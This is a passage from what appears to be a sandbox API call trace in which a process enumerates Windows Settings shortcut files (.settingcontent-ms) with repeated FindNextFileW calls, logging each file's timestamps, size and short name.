cAlternateFileName="AA9A7D~1.SET")) returned 1 [0223.219] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f6c454, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x33f6c454, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PowerAndSleep_DisplayOffTimeoutAC.settingcontent-ms", cAlternateFileName="AA8BA7~1.SET")) returned 1 [0223.219] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x344c97b6, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x344c97b6, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PowerAndSleep_DisplayOffTimeoutAC_AoAc.settingcontent-ms", cAlternateFileName="AA6260~1.SET")) returned 1 [0223.220] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34871a58, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x34871a58, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PowerAndSleep_DisplayOffTimeoutDC.settingcontent-ms", cAlternateFileName="AAB4AA~1.SET")) returned 1 [0223.220] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x353788c4, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x353788c4, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PowerAndSleep_DisplayOffTimeoutDC_AoAc.settingcontent-ms", cAlternateFileName="AA92D7~1.SET")) returned 1 [0223.220] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3570c0be, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3570c0be, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PowerAndSleep_SleepTimeoutAC.settingcontent-ms", cAlternateFileName="AA98AC~1.SET")) returned 1 [0223.220] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35922136, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x35922136, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_PowerAndSleep_SleepTimeoutDC.settingcontent-ms", cAlternateFileName="AACF0D~1.SET")) returned 1 [0223.221] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c43302, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x35c43302, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Privacy_AdvertisingIdEnabled.settingcontent-ms", cAlternateFileName="AA1A7E~1.SET")) returned 1 [0223.221] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360bb815, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x360bb815, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Privacy_BackgroundApps_SubText.settingcontent-ms", cAlternateFileName="AA2357~1.SET")) returned 1 [0223.221] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3636a2ee, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3636a2ee, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Privacy_EnableCollectionOfUrlsAppsUse.settingcontent-ms", cAlternateFileName="AAD362~1.SET")) returned 1 [0223.221] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3663f07b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3663f07b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Privacy_OpenPrivacyStatementLink.settingcontent-ms", cAlternateFileName="AA46A8~1.SET")) returned 1 [0223.221] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c5afd2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x36c5afd2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Proxy_AutomaticConfigScript.settingcontent-ms", cAlternateFileName="AAF4CE~1.SET")) returned 1 [0223.222] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36f7c3c3, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x36f7c3c3, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Proxy_AutomaticDetection.settingcontent-ms", cAlternateFileName="AA6598~1.SET")) returned 1 [0223.222] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377647e3, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x377647e3, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Proxy_ManualProxyAddress.settingcontent-ms", cAlternateFileName="AA8AB0~1.SET")) returned 1 [0223.222] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x394a8aa2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x394a8aa2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Radio_DeviceList.settingcontent-ms", cAlternateFileName="AAD669~1.SET")) returned 1 [0223.222] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39698686, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x39698686, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Radio_IsAirplaneModeEnabled.settingcontent-ms", cAlternateFileName="AA2A0A~1.SET")) returned 1 [0223.223] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f41d30, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x39f41d30, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_ShellMode_ModeChangeConfig.settingcontent-ms", cAlternateFileName="AA1166~1.SET")) returned 1 [0223.223] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a187045, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3a187045, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_ShellMode_Preference.settingcontent-ms", cAlternateFileName="AA70B8~1.SET")) returned 1 [0223.227] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a4b4493, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3a4b4493, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_ShellMode_TaskbarAppsVisibility.settingcontent-ms", cAlternateFileName="AA94FF~1.SET")) returned 1 [0223.227] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a61a9b0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3a61a9b0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_ShellMode_Toggle.settingcontent-ms", cAlternateFileName="AA793F~1.SET")) returned 1 [0223.227] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a932014, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3a932014, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Startup_AdvancedStartup.settingcontent-ms", cAlternateFileName="AAA4C1~1.SET")) returned 1 [0223.227] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aafbf1f, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3aafbf1f, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Start_LinkToPlacesPage.settingcontent-ms", cAlternateFileName="AAE739~1.SET")) returned 1 [0223.227] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3adb3577, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3adb3577, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Start_MoreTilesEnabled.settingcontent-ms", cAlternateFileName="AA9698~1.SET")) returned 1 [0223.228] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b075454, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3b075454, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Start_ShowRecentlyAddedAppsGroup.settingcontent-ms", cAlternateFileName="AA3E10~1.SET")) returned 1 [0223.228] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2a92ce, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3b2a92ce, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Start_ShowSuggestedAppsGroup.settingcontent-ms", cAlternateFileName="AAE680~1.SET")) returned 1 [0223.228] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b41ea7a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3b41ea7a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Start_Size.settingcontent-ms", cAlternateFileName="AA68F4~1.SET")) returned 1 [0223.228] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b810dec, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3b810dec, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Start_StoreMFUApps.settingcontent-ms", cAlternateFileName="AAC335~1.SET")) returned 1 [0223.229] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bce98d8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3bce98d8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2339a047, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Start_StoreRecentlyOpenedItems.settingcontent-ms", cAlternateFileName="AAC4D9~1.SET")) returned 1 [0223.229] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c07d3b2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3c07d3b2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_StorageSense_AppSizesOptionalComponentsLink-2.settingcontent-ms", cAlternateFileName="AA6720~1.SET")) returned 1 [0223.229] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c220a21, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3c220a21, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_StorageSense_AppSizesOptionalComponentsLink-3.settingcontent-ms", cAlternateFileName="AAF5CD~1.SET")) returned 1 [0223.229] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c816989, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3c816989, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_StorageSense_AppSizesOptionalComponentsLink.settingcontent-ms", cAlternateFileName="AA6C1D~1.SET")) returned 1 [0223.230] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c993fab, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3c993fab, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x52b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncAccessibility_Toggle.settingcontent-ms", cAlternateFileName="AA7784~1.SET")) returned 1 [0223.230] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc68e94, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3cc68e94, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x535, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncBrowserSettings_Toggle.settingcontent-ms", cAlternateFileName="AAB020~1.SET")) returned 1 [0223.230] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d179e8d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3d179e8d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x521, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncCredentials_Toggle.settingcontent-ms", cAlternateFileName="AA4EA6~1.SET")) returned 1 [0223.230] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d63e806, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3d63e806, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncLanguage_Toggle.settingcontent-ms", cAlternateFileName="AAF46E~1.SET")) returned 1 [0223.237] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e46677b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3e46677b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncMaster_Toggle.settingcontent-ms", cAlternateFileName="AA6322~1.SET")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e892c6c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3e892c6c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x535, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_SyncPersonalization_Toggle.settingcontent-ms", cAlternateFileName="AA0713~1.SET")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebb3d14, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3ebb3d14, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_SyncSettings_Windows_Toggle.settingcontent-ms", cAlternateFileName="AA022F~1.SET")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee3c3c6, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3ee3c3c6, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4df, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_AddSecondaryWorkPin.settingcontent-ms", cAlternateFileName="AA4883~1.SET")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f26871d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3f26871d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_AssignedAccess.settingcontent-ms", cAlternateFileName="AACFFB~1.SET")) returned 1 [0223.238] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3e5c48, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3f3e5c48, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_ChangePassword.settingcontent-ms", cAlternateFileName="AA9B7D~1.SET")) returned 1 [0223.239] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f79f9ef, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x3f79f9ef, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Users_DelayLock.settingcontent-ms", cAlternateFileName="AAD33F~1.SET")) returned 1 [0223.239] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbcba67, 